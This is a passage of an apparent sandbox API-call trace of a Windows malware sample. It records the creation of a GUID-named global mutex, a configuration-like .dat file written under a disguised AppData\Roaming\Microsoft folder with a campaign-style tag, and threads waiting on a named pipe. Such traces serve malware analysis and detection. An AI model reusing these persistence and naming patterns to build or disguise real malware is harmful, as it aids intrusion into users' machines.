lpMem=0x47e8aa0 | out: hHeap=0x47e0000) returned 1 [0310.107] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0310.107] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned 64 [0310.107] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x42) returned 0x47e88a8 [0310.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat", cchWideChar=-1, lpMultiByteStr=0x47e88a8, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat", lpUsedDefaultChar=0x0) returned 65 [0310.107] lstrlenA (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned 64 [0310.107] CharUpperBuffA (in: lpsz="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat", cchLength=0x40 | out: lpsz="C:\\USERS\\FD1HVY\\APPDATA\\ROAMING\\MICROSOFT\\QIEEYREKUC\\XAFPQKO.DAT") returned 0x40 [0310.107] lstrlenA (lpString="C:\\USERS\\FD1HVY\\APPDATA\\ROAMING\\MICROSOFT\\QIEEYREKUC\\XAFPQKO.DAT") returned 64 [0310.107] lstrlenA (lpString="user32.dll") returned 10 [0310.107] lstrlenA (lpString="user32.dll") returned 10 [0310.107] lstrlenA (lpString="user32.dll") returned 10 [0310.107] lstrlenA (lpString="user32.dll") returned 10 [0310.107] lstrlenA (lpString="user32.dll") returned 10 [0310.107] lstrlenA (lpString="user32.dll") returned 10 [0310.107] lstrlenA (lpString="user32.dll") returned 10 [0310.107] lstrlenA (lpString="user32.dll") returned 10 [0310.107] lstrlenA (lpString="user32.dll") returned 10 [0310.107] lstrlenA (lpString="user32.dll") returned 10 [0310.107] lstrlenA (lpString="user32.dll") returned 10 [0310.107] lstrlenA (lpString="user32.dll") returned 10 [0310.107] lstrlenA (lpString="user32.dll") returned 10 [0310.108] lstrlenA (lpString="user32.dll") returned 10 [0310.108] lstrlenA (lpString="user32.dll") returned 10 [0310.108] lstrlenA (lpString="user32.dll") returned 10 [0310.108] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x47) returned 0x47e88f8 [0310.108] _vsnprintf (in: _DstBuf=0x2bbec90, _MaxCount=0x28, _Format="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}", _ArgList=0x2bbec0c | out: _DstBuf="{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned 38 [0310.108] lstrlenA (lpString="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}") returned 70 [0310.108] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e88f8 | out: hHeap=0x47e0000) returned 1 [0310.108] lstrlenA (lpString="Global\\") returned 7 [0310.108] lstrlenA (lpString="{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned 38 [0310.108] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x2e) returned 0x485f850 [0310.108] lstrcatA (in: lpString1="", lpString2="Global\\" | out: lpString1="Global\\") returned="Global\\" [0310.108] lstrcatA (in: lpString1="Global\\", lpString2="{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}" | out: lpString1="Global\\{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned="Global\\{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}" [0310.108] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Global\\{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned 0x388 [0310.108] GetLastError () returned 0x0 [0310.108] lstrlenA (lpString="Global\\{4D1D9C61-769F-4781-A3DF-A2E3ACFF6A77}") returned 45 [0310.108] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0310.108] lstrlenA (lpString="C:\\USERS\\FD1HVY\\APPDATA\\ROAMING\\MICROSOFT\\QIEEYREKUC\\XAFPQKO.DAT") returned 64 [0310.108] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e88a8 | out: hHeap=0x47e0000) returned 1 [0310.108] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.dat")) returned 0x20 [0310.108] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x448) returned 0x47e8aa0 [0310.109] lstrcpynW (in: lpString1=0x47e8aa0, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat", iMaxLength=512 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" [0310.109] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x100000) returned 0x4d77020 [0310.112] lstrlenA (lpString="xafpqko") returned 7 [0310.112] _vsnprintf (in: _DstBuf=0x2bbf654, _MaxCount=0x40, _Format="%u", _ArgList=0x2bbf64c | out: _DstBuf="10") returned 2 [0310.112] lstrlenA (lpString="10") returned 2 [0310.112] lstrlenA (lpString="spx155") returned 6 [0310.113] _vsnprintf (in: _DstBuf=0x2bbf654, _MaxCount=0x40, _Format="%u", _ArgList=0x2bbf64c | out: _DstBuf="11") returned 2 [0310.113] lstrlenA (lpString="11") returned 2 [0310.113] lstrlenA (lpString="2") returned 1 [0310.113] _vsnprintf (in: _DstBuf=0x2bbf654, _MaxCount=0x40, _Format="%u", _ArgList=0x2bbf64c | out: _DstBuf="1") returned 1 [0310.113] lstrlenA (lpString="1") returned 1 [0310.113] lstrlenA (lpString="12.05.23-17/08/2020") returned 19 [0310.113] _vsnprintf (in: _DstBuf=0x2bbf654, _MaxCount=0x40, _Format="%u", _ArgList=0x2bbf64c | out: _DstBuf="2") returned 1 [0310.113] lstrlenA (lpString="2") returned 1 [0310.113] lstrlenA (lpString="1597658723") returned 10 [0310.113] _vsnprintf (in: _DstBuf=0x2bbf654, _MaxCount=0x40, _Format="%u", _ArgList=0x2bbf64c | out: _DstBuf="50") returned 2 [0310.113] lstrlenA (lpString="50") returned 2 [0310.113] lstrlenA (lpString="1") returned 1 [0310.113] _vsnprintf (in: _DstBuf=0x2bbf654, _MaxCount=0x40, _Format="%u", _ArgList=0x2bbf64c | out: _DstBuf="14") returned 2 [0310.113] lstrlenA (lpString="14") returned 2 [0310.113] lstrlenA (lpString="10;8;0|5;1;0|4294967295;23;1597658784|300;13;0|2736;3;0|3;21;1597658784|4294967295;12;0") returned 87 [0310.113] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xac) returned 0x47e88a8 [0310.113] lstrlenA (lpString="kernel32.dll") returned 12 [0310.113] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x344 [0310.114] WriteFile (in: hFile=0x344, lpBuffer=0x47e88a8*, nNumberOfBytesToWrite=0xac, lpNumberOfBytesWritten=0x2bbf530, lpOverlapped=0x0 | out: lpBuffer=0x47e88a8*, lpNumberOfBytesWritten=0x2bbf530*=0xac, lpOverlapped=0x0) returned 1 [0310.116] CloseHandle (hObject=0x344) returned 1 [0310.123] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e88a8 | out: hHeap=0x47e0000) returned 1 [0310.141] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x4d77020 | out: hHeap=0x47e0000) returned 1 [0310.148] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e8aa0 | out: hHeap=0x47e0000) returned 1 [0310.148] ReleaseMutex (hMutex=0x358) returned 1 [0310.148] ReleaseMutex (hMutex=0x388) returned 1 [0310.148] CloseHandle (hObject=0x388) returned 1 [0310.148] WaitForSingleObject (hHandle=0x360, dwMilliseconds=0x12c0) returned 0x102 [0314.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bbf708 | out: lpSystemTimeAsFileTime=0x2bbf708*(dwLowDateTime=0x138396cb, dwHighDateTime=0x1d6747e)) [0314.977] WaitForSingleObject (hHandle=0x360, dwMilliseconds=0x12c0) Thread: id = 383 os_tid = 0xe6c [0309.865] WaitForSingleObject (hHandle=0x390, dwMilliseconds=0x3a98) returned 0x0 [0309.865] CloseHandle (hObject=0x390) returned 1 [0309.865] ConnectNamedPipe (hNamedPipe=0x39c, lpOverlapped=0x0) Thread: id = 384 os_tid = 0x10d0 [0309.866] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0x3a98) returned 0x0 [0309.866] CloseHandle (hObject=0x388) returned 1 [0309.866] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0309.869] ReleaseMutex (hMutex=0x358) returned 1 [0309.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x47bfbdc | out: lpSystemTimeAsFileTime=0x47bfbdc*(dwLowDateTime=0x107761e4, dwHighDateTime=0x1d6747e)) [0309.869] SleepEx (dwMilliseconds=0x7530, bAlertable=1) Thread: id = 385 os_tid = 0x10c0 [0310.103] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0x3a98) returned 0x0 [0310.103] CloseHandle (hObject=0x344) returned 1 [0310.103] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0310.103] ReleaseMutex (hMutex=0x358) returned 1 [0310.103] WaitForSingleObject (hHandle=0x354, dwMilliseconds=0x7530) returned 0x0 [0310.104] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fbb8 | out: hHeap=0x47e0000) returned 1 [0310.104] CloseHandle (hObject=0x388) returned 1 [0310.104] ReleaseMutex (hMutex=0x354) returned 1